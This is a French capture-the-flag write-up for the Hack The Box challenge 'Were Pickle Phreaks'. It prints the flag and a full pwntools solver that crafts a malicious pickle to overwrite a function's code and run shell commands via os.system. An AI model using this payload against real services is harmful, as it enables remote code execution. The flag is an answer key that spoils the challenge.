Were Pickle Phreaks
Catégorie: Misc Difficulté: easy Flag: HTB{54N17121N9_MODul3_4Nd_No7_n4M3_15_4_5UR3_w4y_7o_937_1n7o_4_p1cKL3_d4y}
Challenge
Description
The Phreaks have rolled a new registration app to recruit new members so they can help them grow and evolve. You, a factionless, see this and think of other plans...
Ce challenge tourne sur un docker, disponible sur Github
Vulnérabilité
Référence : https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-pickle
Tout est expliqué dans ce WU, l’objectif et de modifier le code d’une fonction avant qu’elle soit appelée pour la faire exécuter des commandes.
Cela peut être réaliser au moment de désérialiser les données avec Pickle
Script de résolution
# python 3.8
from pwnlib.tubes.remote import remote
from base64 import b64encode
from pickle import *
def generate_payload(command):
return b64encode(
PROTO + b'\x04' + \
GLOBAL + b'__main__\nmenu\n' + \
NONE + \
MARK + \
UNICODE + b'__code__\n' + \
GLOBAL + b'__main__\nPhreaks.__class__\n' + \
GLOBAL + b'__main__\nmenu.__code__\n' + \
TUPLE1 + REDUCE + \
MARK + \
BININT1 + b'\x00' + \
BININT1 + b'\x00' + \
BININT1 + b'\x00' + \
BININT1 + b'\x00' + \
BININT1 + b'\x03' + \
BININT1 + b'\x43' + \
SHORT_BINBYTES + b'\x12' + b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00' + \
NONE + UNICODE + b'os\n' + UNICODE + command.encode() + b'\n' + TUPLE3 + \
UNICODE + b'__import__\n' + UNICODE + b'system\n' + TUPLE2 + \
EMPTY_TUPLE + \
UNICODE + b'app.py\n' + \
UNICODE + b'blc\n' + \
BININT1 + b'\x03' + \
SHORT_BINBYTES + b'\x02' + b'\x00\x01' + \
EMPTY_TUPLE + \
EMPTY_TUPLE + \
TUPLE + \
REDUCE + \
DICT + \
TUPLE2 + \
BUILD + \
STOP
)
def parse_response(data):
return data.split(b'Invalid Phreaks member')[1].strip().rsplit(b'\n', 1)[0].decode()
class Solver:
def __init__(self, host, port):
self.host = host
self.port = port
def send_command(self, command):
client = remote(self.host, self.port)
client.recvuntil(b'> ')
client.sendline(b'2')
client.recvuntil(b'data: ')
client.sendline(generate_payload(command))
client.recvuntil(b'> ')
client.sendline(b'1')
output = f"$ {command}\n"
output += parse_response(client.recvuntil(b'> '))
output += "\n"
return output
def solve(host, port):
solver = Solver(host, port)
print(solver.send_command('ls -al'))
print(solver.send_command('cat flag.txt'))
if __name__ == '__main__':
solve('94.237.60.39', 30450)
Dernière mise à jour
Cet article vous a-t-il été utile ?